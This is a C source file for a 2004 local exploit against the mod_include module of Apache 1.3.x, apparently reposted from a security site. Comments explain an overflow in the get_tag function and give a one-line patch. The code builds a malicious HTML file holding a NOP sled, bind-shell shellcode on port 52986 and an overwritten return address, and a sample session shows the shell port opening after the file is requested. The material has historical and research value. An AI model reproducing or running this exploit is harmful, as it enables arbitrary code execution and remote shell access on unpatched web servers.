/*******************************************************************************
local exploit for mod_include of apache 1.3.x *
written by xCrZx /18.10.2004/ *
bug found by xCrZx /18.10.2004/ *
*
Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) *
*
*******************************************************************************/
/*******************************************************************************
Technical Details:
there is an overflow in get_tag function:
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int
dodecode)
{
...
term = c;
while (1) {
GET_CHAR(in, c, NULL, p);
[1] if (t - tag == tagbuf_len) {
*t = '\0';
return NULL;
} *
// Want to accept \" as a valid character within a string. //
if (c == '\\') {
[2] *(t++) = c; // Add backslash //
GET_CHAR(in, c, NULL, p);
if (c == term) { // Only if //
[3] *(--t) = c; // Replace backslash ONLY for terminator //
}
}
else if (c == term) {
break;
}
[4] *(t++) = c;
}
*t = '\0';
...
as we can see there is a [1] check to determine the end of tag buffer
but this check can be skiped when [2] & [4] conditions will be occured
at the same time without [3] condition.
So attacker can create malicious file to overflow static buffer, on
which tag points out and execute arbitrary code with privilegies of
httpd child process.
Fix:
[1*] if (t - tag >= tagbuf_len-1) {
Notes: To activate mod_include you need write "XBitHack on" in
httpd.conf
*******************************************************************************/
/*******************************************************************************
Example of work:
[root@blacksand htdocs]# make 85mod_include
cc 85mod_include.c -o 85mod_include
[root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html
[root@blacksand htdocs]# chmod +x evil.html
[root@blacksand htdocs]# netstat -na|grep 52986
[root@blacksand htdocs]# telnet localhost 8080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /evil.html HTTP/1.0
^]
telnet> q
Connection closed.
[root@blacksand htdocs]# netstat -na|grep 52986
tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN
[root@blacksand htdocs]#
*******************************************************************************/
/*******************************************************************************
Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always
*******************************************************************************/
/*******************************************************************************
Personal hello to my parents :)
*******************************************************************************/
/*******************************************************************************
Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz
*******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define EVILBUF 8202
#define HTMLTEXT 1000
#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\"
-->\nxCrZx 0wn U\n</html>"
#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x
by xCrZx /18.10.2004/ ***\n"
int main(int argc, char **argv) {
char html[EVILBUF+HTMLTEXT];
char evilbuf[EVILBUF+1];
//can be changed
char shellcode[] =
// bind shell on 52986 port
"\x31\xc0"
"\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
"\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
"\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
"\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
//execve /tmp/sh <- your own program
/*
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/tmp/sh";
*/
char NOP[] = "\x90\x40"; // special nops ;)
char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;)
int padding,xpad=0;
int i,fd;
long ret=0xbfff8688;
if(argc>1) ret=strtoul(argv[1],0,16);
else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> >
file.html\n\n",argv[0]);exit(0); }
padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);
while(1) {
if(padding%2==0) { padding/=2; break;}
else {padding--;xpad++;}
}
memset(html,0x0,sizeof html);
memset(evilbuf,0x0,sizeof evilbuf);
for(i=0;i<padding;i++)
memcpy(evilbuf+strlen(evilbuf),&NOP,2);
for(i=0;i<xpad;i++)
memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0]):(&NOP[1]),1);
memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
*(long*)&evilbuf[strlen(evilbuf)]=ret;
sprintf(html,HTML_FORMAT,evilbuf);
printf("%s",html);
return 0;
}
securitydot.net - 2004-10-21
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